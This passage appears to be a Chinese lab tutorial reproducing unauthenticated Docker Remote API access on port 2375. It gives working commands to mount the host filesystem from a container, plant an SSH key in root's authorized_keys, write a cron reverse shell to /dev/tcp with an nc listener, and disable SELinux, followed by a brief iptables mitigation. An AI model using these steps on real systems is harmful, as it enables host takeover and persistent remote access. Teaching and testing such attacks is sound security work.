一、Docker未授权介绍:

  1. docker swarm:

docker swarm是一个将docker集群变成单一虚拟的docker host工具,使用标准的DockerAPI,能够方便docker集群的管理和扩展,由docker官方提供,具体的大家可以看官网介绍: https://docs.docker.com/engine/swarm/

  1. 漏洞起因:

在使用docker swarm的时候,发现管理的docker节点上会开放一个tcp端口2375,并且绑定在0.0.0.0上,http访问会返回404 page not found,

普通用户没有docker权限 docker 未授权_网络安全

这是官网提供给用户进行快速构建和扩展Docker应用程序和解决方案,此内容被称为Docker Remote API,Docker Remote API是一个Restful API,

可由HTTP客户端进行访问,linux下可以使用curl和wget命令进行访问

普通用户没有docker权限 docker 未授权_安全_02

此API还提供了执行命令的功能,访问/containers/json和docker执行docker ps命令一样,可以查看到正在运行的容器,但是由于此配置能够在外网进行访问,并且在docker中的命令调用都可以通过此API来完成,这样实在太不安全了

普通用户没有docker权限 docker 未授权_网络安全_03

二、环境搭建:

操作系统:  Centos7

Docker版本: Docker-Ce18.09.9

搭建命令:

下载阿里源:

curl -o /etc/yum.repos.d/Centos-7.repo http://mirrors.aliyun.com/repo/Centos-7.repo

curl -o /etc/yum.repos.d/docker-ce.repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo

yum clean all && yum makecache

安装指定版本:

yum install -y docker-ce-18.09.9

普通用户没有docker权限 docker 未授权_linux_04

配置加速源:

vim /etc/docker/daemon.json

{ "registry-mirrors" : [ "https://8xpk5wnt.mirror.aliyuncs.com" ]}

普通用户没有docker权限 docker 未授权_linux_05

设置开机自启:

systemctl enable docker

systemctl daemon-reload

普通用户没有docker权限 docker 未授权_docker_06

启动contianerd服务:

containerd #启动containerd服务

Systemctl status containerd #查看服务状态

普通用户没有docker权限 docker 未授权_linux_07

开启2375端口,提供外部访问:

vim /usr/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375  -H fd:// --containerd=/run/containerd/containerd.sock

普通用户没有docker权限 docker 未授权_网络安全_08

改完之后需要重启:

Systemctl daemon-reload

Systemctl restart docker

Docker version

普通用户没有docker权限 docker 未授权_docker_09

检查端口:

netstat –anot

普通用户没有docker权限 docker 未授权_网络安全_10

三、漏洞复现:

复现环境:

攻击机:KALI-2020

靶机:Centos7-Docker18.09.9

复现过程:

从web端访问2375端口:接口会返回page not found

普通用户没有docker权限 docker 未授权_安全_11

在路径中接上/version进行验证:会返回docker的版本信息

普通用户没有docker权限 docker 未授权_docker_12

如果能查看到对应的docker信息,则证明漏洞存在,在攻击机开启docker服务

使用docker –H tcp://靶机ip:2375 ps命令查看靶机已启动的容器:

普通用户没有docker权限 docker 未授权_linux_13

也可以查看目标机器的镜像:

普通用户没有docker权限 docker 未授权_普通用户没有docker权限_14

攻击方式一:写入ssh公钥进行远程连接

首先生成一个key,ssh-keygen –t rsa 指定rsa的加密方式生成之后会在/root/.ssh目录下

普通用户没有docker权限 docker 未授权_网络安全_15

查看id_rsa.pub,里面的内容就是我们后面需要用到的部分

普通用户没有docker权限 docker 未授权_linux_16

进行远程创建docker并添加密钥:

docker -H tcp://192.168.246.153:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh

命令说明:

run 运行容器

--rm 容器停止时,自动删除该容器

-v 挂载目录

-I  指示docker在容器上打开一个标准的输入接口

-t  指示docker要创建一个伪tty终端

普通用户没有docker权限 docker 未授权_普通用户没有docker权限_17

进入.ssh目录写入公钥,cd ~/.ssh,使用echo写入公钥

echo “id_rsa.pub的文件内容” > /root/.ssh/authorized_keys #写入到指定路径下

普通用户没有docker权限 docker 未授权_docker_18

之后使用密钥进行ssh连接即可连接到目标靶机

普通用户没有docker权限 docker 未授权_docker_19

可以发现已经docker逃逸成功了

攻击方式二:写入定时任务进行反弹shell

定时任务反弹shell需要运用到crontab服务,crontab服务写shell的需要先了解它的语法格式:

* * * * * command #语法格式

*的含义如下所示

普通用户没有docker权限 docker 未授权_普通用户没有docker权限_20

所以我们可以构造出反弹shell的语句: 

* * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1  任意时间都会反弹shell

*/1 * * * * /bin/bash –i >& /dev/tcp/ip/port 0>&1 每隔一分钟就会反弹shell

定时任务路径:

Centos:

/var/spool/cron/

Ubuntu:

/var/spool/cron/crontabs/

任务反弹遇到的坑点:

在写入定时任务之后发现写入的命令无法执行:

普通用户没有docker权限 docker 未授权_普通用户没有docker权限_21

查看日志后发现是selinux的问题,tail –f /var/log/cron,百度给出的解决方案如下所示:

chcon -R -usystem_u –r object_r –t system_cron_spool_t /etc/crontab

systemctl restart crond

如果执行之后查看日志发现还行出现如上的selinux的提示就将selinux关闭或者暂时停掉就行

Sestatus #查看selinux的状态

普通用户没有docker权限 docker 未授权_安全_22

关掉selinux的服务:

sudo vim /etc/sysconfig/selinux #将selinux=disabled

sudo shutdown –r now #立即重启,重启机器配置生效

普通用户没有docker权限 docker 未授权_linux_23

重启之后再次查看对应的内容:

普通用户没有docker权限 docker 未授权_docker_24

还是重复的操作,进入到对应的容器shell中

docker -H tcp://192.168.246.152:2375 run --rm -it -v /:/mnt busybox chroot /mnt sh #启动容器之后退出容器就会清理掉该容器

普通用户没有docker权限 docker 未授权_linux_25

Echo “*/1 * * * * /bin/bash –I >& /dev/tcp/ip/port 0>&1” > /var/spool/cron/root 写入到定时任务当中

攻击机开启nc监听,过一段时间之后就会得到靶机反弹回来的shell了

普通用户没有docker权限 docker 未授权_linux_26

这样的话我们就成功逃逸出docker环境了,如果目标存在网站路径并且可以访问的话也可以写入对应的webshell

四、防护措施:

拦截对应的2375端口,禁止公网ip连接2375端口

Iptables –A INPUT –p tcp –dport 2375 –j DROP #拒绝2375的tcp协议连接

普通用户没有docker权限 docker 未授权_linux_27